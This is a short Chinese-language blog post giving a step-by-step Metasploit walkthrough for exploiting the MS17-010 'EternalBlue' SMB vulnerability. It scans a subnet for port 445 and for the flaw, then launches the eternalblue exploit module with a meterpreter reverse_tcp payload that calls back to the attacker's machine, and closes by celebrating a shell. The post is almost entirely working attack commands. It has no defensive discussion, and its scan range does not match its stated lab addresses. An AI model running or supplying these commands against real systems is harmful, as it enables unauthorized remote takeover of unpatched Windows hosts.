ms17-010-永恒之蓝漏洞

谁践踏了优雅 2022-06-02 22:40 143阅读 0赞

攻击机：192.168.11.231

被攻击机：192.168.11.22

![u_1575101538_3589487490_fm_173_s_BB0BA04C725105CE923364120300009B_w_640_h_383_img.JPEG][]

第一步：更新MSF:msfupdate，查找smb\_ms17\_010.rb模块

cd /usr/share/metasploit-framework/modules/auxiliary/scanner/smb

第二步：连接postgresql数据库，不连接的话扫描的信息的信息无法入库。连接上后可通过db\_status查看状态

启动数据库：service postgresql start

启动msfconsole：msfconsole

![u_137326643_2864487459_fm_173_s_DAA59944BDB938057E3409800300909B_w_640_h_262_img.JPEG][]

使用db\_status确认数据库是否正确连接

第三步：运行smb模块探测主机445端口开放情况。

use auxiliary/scanner/smb/smb\_version

set rhosts 192.168.236.129/24

set threads 16

run

扫描完成后，扫描的信息会自动存入数据库，可通过hosts命令查看

![u_909450334_4105677356_fm_173_s_5FA58C44436CB74D1476CC8F0300A08B_w_640_h_480_img.JPEG][]

第四步：使用smb\_ms17\_010模块探测MS17-010漏洞

use auxiliary/scanner/smb/smb\_ms17\_010

show options

services -r tcp -p 445 -R

扫描之前可通过info查看配置详情

![u_978196186_163114312_fm_173_s_7AAD914427AEB74D14579C8B03007089_w_640_h_480_img.JPEG][]

第五步：使用攻击模块

use exploit/windows/smb/ms17\_010\_eternalblue

设置目标系统的IP和payload。

set RHOST 192.168.11.22

set payload windows/x64/meterpreter/reverse\_tcp

set LHOST 192.168.11.231

exploit执行攻击，成功返回会话。

![u_4241902788_2550626599_fm_173_s_5FA5B0448C88084D5FBFDD9B03006099_w_640_h_305_img.JPEG][]

第六步：坐等结果

meterpreter> sysinfo

meterpreter> getuid

![u_3548797674_2882713628_fm_173_s_28E6F5044A7C84CC1C9FED8A0300E09B_w_640_h_480_img.JPEG][]

![u_2356656241_412904926_fm_173_s_34E7F504D33C8BCC55E3A5010300A089_w_640_h_480_img.JPEG][]

MS17-010扫描模块截图

![u_1721842029_488312705_fm_173_s_8D42C5120B6749225AF584DA020090B2_w_639_h_171_img.JPEG][]

MS17-010攻击模块截图

![u_468693025_3362435593_fm_173_s_4450E53B1733702A50D890C90100C0B3_w_640_h_309_img.JPEG][]

![u_1677323609_58276522_fm_173_s_8F50CC1213386421007D94CA0200C0B3_w_640_h_292_img.JPEG][]

攻击成功，得到SHELL！！！

[u_1575101538_3589487490_fm_173_s_BB0BA04C725105CE923364120300009B_w_640_h_383_img.JPEG]: /images/20220603/510915e439d94a5f842ff271ac229360.png
[u_137326643_2864487459_fm_173_s_DAA59944BDB938057E3409800300909B_w_640_h_262_img.JPEG]: /images/20220603/3e488658c2e847b087ce8b862625dd9a.png
[u_909450334_4105677356_fm_173_s_5FA58C44436CB74D1476CC8F0300A08B_w_640_h_480_img.JPEG]: /images/20220603/0792cb95ba454d3db3fb0c7e274a6709.png
[u_978196186_163114312_fm_173_s_7AAD914427AEB74D14579C8B03007089_w_640_h_480_img.JPEG]: /images/20220603/2db1c64a2719481eb23933abbf9700af.png
[u_4241902788_2550626599_fm_173_s_5FA5B0448C88084D5FBFDD9B03006099_w_640_h_305_img.JPEG]: /images/20220603/e43ec136f5174e9ab90735e3e7d28982.png
[u_3548797674_2882713628_fm_173_s_28E6F5044A7C84CC1C9FED8A0300E09B_w_640_h_480_img.JPEG]: /images/20220603/85dc6390816346db8bde1e1e10453496.png
[u_2356656241_412904926_fm_173_s_34E7F504D33C8BCC55E3A5010300A089_w_640_h_480_img.JPEG]: /images/20220603/689ac1e8617846f9856625530d37cbf6.png
[u_1721842029_488312705_fm_173_s_8D42C5120B6749225AF584DA020090B2_w_639_h_171_img.JPEG]: /images/20220603/720c1c6fa3bb420d9ce5799cb91a5b74.png
[u_468693025_3362435593_fm_173_s_4450E53B1733702A50D890C90100C0B3_w_640_h_309_img.JPEG]: /images/20220603/d35e5816fed34ec7b9d13b61444b7a85.png
[u_1677323609_58276522_fm_173_s_8F50CC1213386421007D94CA0200C0B3_w_640_h_292_img.JPEG]: /images/20220603/6126b00522e54beb8f7590b08527e53f.png